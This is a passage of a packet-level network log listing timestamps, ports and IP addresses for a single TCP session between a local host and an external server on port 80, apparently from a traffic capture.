Jan 11, 2025 07:38:49.919260025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919295073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919315100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.919409037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919425964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.919444084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919480085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919495106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.919514894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919549942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919564962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.919588089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919621944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.919645071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.951642990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951670885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951688051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951704025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951720953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951736927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951735973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.951780081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.951811075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.951826096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951869965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.951919079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951941967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951957941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951973915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951988935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.951992035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952006102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952012062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952049017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952131033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952147007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952162027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952178001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952187061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952195883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952213049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952215910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952231884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952263117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952848911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952864885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952881098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952894926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952897072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952917099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952943087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952944040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952961922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952965975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.952977896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.952995062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.953005075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.953011990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.953038931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984158039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984214067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984253883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984256983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984287977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984324932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984360933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984365940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984365940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984421015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984455109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984468937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984489918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984535933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984541893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984580040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984610081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984620094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984663963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984708071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984716892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984752893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984787941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984791040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984824896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984862089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984868050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.984895945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984930992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.984944105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985266924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985301971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985310078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985377073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985413074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985441923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985446930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985481977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985508919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985517025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985551119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985584021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985584021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985621929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985636950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985692024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985836983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985871077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985883951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985907078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985939980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.985945940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.985975027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986008883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986017942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986047983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986083984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986196041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986228943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986263990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986272097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986347914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986391068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986399889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986435890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986479044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986490011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986525059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986557961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986567020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986594915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986629009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986635923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986665964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986699104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986707926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.986735106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.986772060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987169981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987206936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987246990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987260103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987329960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987370968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987385035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987420082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987456083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987458944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987489939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987524033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987538099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987556934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987592936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987598896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987627983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987663984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987675905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.987704039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.987741947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.988114119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.988148928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.988184929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:49.988202095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.989351034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:49.997014046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008260012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008296013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008331060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008346081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008374929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008383989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008436918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008471012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008482933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008522987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008555889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008569002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008591890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008626938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008636951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008661985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008696079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008708000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.008732080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008768082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.008778095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040193081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040246964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040281057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040283918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040365934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040380955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040405035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040438890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040457010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040479898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040534019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040546894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040570021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040604115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040617943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040673018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040720940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040724039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040759087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040795088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040806055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040829897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040863037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040878057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040900946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040934086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.040945053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.040973902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041007996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041034937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041043997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041079044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041090012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041204929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041239023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041253090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041292906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041327953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041356087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041363955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041413069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041414976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041451931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041486025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041497946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041521072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041554928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041565895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041589975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041625023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041630983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.041661024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.041712046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.072772980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.072809935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.072844982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.072876930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.072928905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.072952032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.072952986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.072982073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073016882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073045969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073051929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073087931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073103905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073122978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073157072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073184013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073209047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073250055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073250055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073303938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073338032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073352098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073371887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073407888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073416948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073445082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073493004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073560953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073596001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073631048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073641062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073659897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073698997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073777914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073812008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073864937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073872089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073900938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073941946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.073954105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.073988914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074026108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074040890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074060917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074095964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074106932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074132919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074166059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074181080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074201107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074244022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074599981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074654102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074690104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074704885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074723959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074760914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074774981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074814081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074848890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074882030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074918032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074949980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.074963093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.074985027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075020075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075054884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075089931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075098038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075161934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075535059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075584888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075618982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075653076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075671911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075706959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075736046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075774908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075809956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075839043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075845003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075880051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075896978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.075913906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075948954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075982094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.075982094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.076018095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.076049089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.076055050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.076111078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.076421022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096513987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096565008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096606016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096621037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096653938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096689939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096692085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096738100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:38:50.096746922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:38:50.096790075 CET	80	49704	193.143.1.205	192.168.2.5
